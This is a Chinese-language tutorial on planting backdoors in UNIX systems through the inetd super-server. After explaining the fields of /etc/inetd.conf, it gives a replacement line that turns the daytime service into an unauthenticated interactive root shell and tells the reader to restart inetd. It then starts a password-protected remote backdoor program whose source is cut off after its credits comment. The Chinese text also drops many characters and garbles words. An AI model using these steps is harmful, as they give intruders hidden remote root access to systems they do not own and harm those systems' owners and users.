创建UNIX后门(中级篇) 

    超级服务器守护进程(inetd)配置文件系统管理员般情况下不经常检查该文件因此这倒是个放置“后门”好地方:) 那么在这里如何建立个最好后门呢?当然是远程这样你就不必需要本地帐号就可以成为根用户了首先让我们先来了解下这方面基础知识:inetd 进程负责监听各个TCP和UDP端口连接请求并根据连接请求启动相应服务器进程该配置文件 /etc/inetd.conf 很简单基本形式如下:

    (1) (2) (3) (4) (5) (6) (7)

    ftp stream tcp nowait root /usr/etc/ftpd ftpd

    talk dgram udp wait root /usr/etc/ntalkd ntalkd

    mountd/1 stream rpc/tcp wait root /usr/etc/mountd mountd

    1:第栏是服务名称服务名通过查询 /etc/services 文件(供 TCP 和 UDP 服务使用)或 portmap 守护进程(供 RPC 服务使用)映射成端口号RPC(远程过程)服务由 name/num 名字格式和第 3栏中 rpc 标志识别

    2:第 2栏决定服务使用套接口类型:stream、dgram 或 raw般说来stream 用于 TCP 服务dgram 用于 UDP raw 使用很少见

    3:第 3栏标识服务使用通信协议允许类型列在 protocols 文件中协议几乎总是是 tcp 或 udpRPC 服务在协议类型前冠以 rpc/

    4:如果所介绍说明服务次可处理多个请求(而不是处理个请求后就退出)那么第 4栏应置成 wait这样可以阻止 inetd 持续地派生该守护进程新拷贝此选项用于处理大量小请求服务如果 wait 不合适那么在本栏中填 nowait

    5:第 5栏给出运行守护进程用户名

    6:第 6栏给出守护进程全限定路径名

    7:守护进程真实名字及其参数

    如果所要处理工作微不足道(如不需要用户交互)inetd 守护进程便自己处理此时第 6、 7栏只需填上 'ernal' 即可所以要安装个便利后门可以选择个不常被使用服务用可以产生某种后门守护进程代替原先守护进程例如让其添加 UID 0 帐号或复制个 suid shell

    个比较好思路方法的就是将用于提供日期时间服务 daytime 替换为能够产生个 suid root shell只要将 /etc/inetd.conf 文件中:

    daytime stream tcp nowait root ernal

    修改为:

    daytime stream tcp nowait /bin/sh sh -i.

    然后重启(记住:定要重启)inetd 进程:

    killall -9 inetd

    但更好、更隐蔽思路方法是伪造网络服务让它能够在更难以察觉情况下为我们提供后门例如口令保护等如果能够在不通过 telnetd 连接情况下轻松地进行远程访问那是再好不过了思路方法就是将“自己”守护绑定到某个端口对外来连接不提供任何提示符但只要直接输入了正确口令就能够顺利地进入系统以下是这种后门个示范(注:这个写得并不很完整)

    <> backdoor/remoteback.c

    /* Coders:

    Theft

    Help from:

    Sector9, Halogen

 
Tags: 

延伸阅读

最新评论

发表评论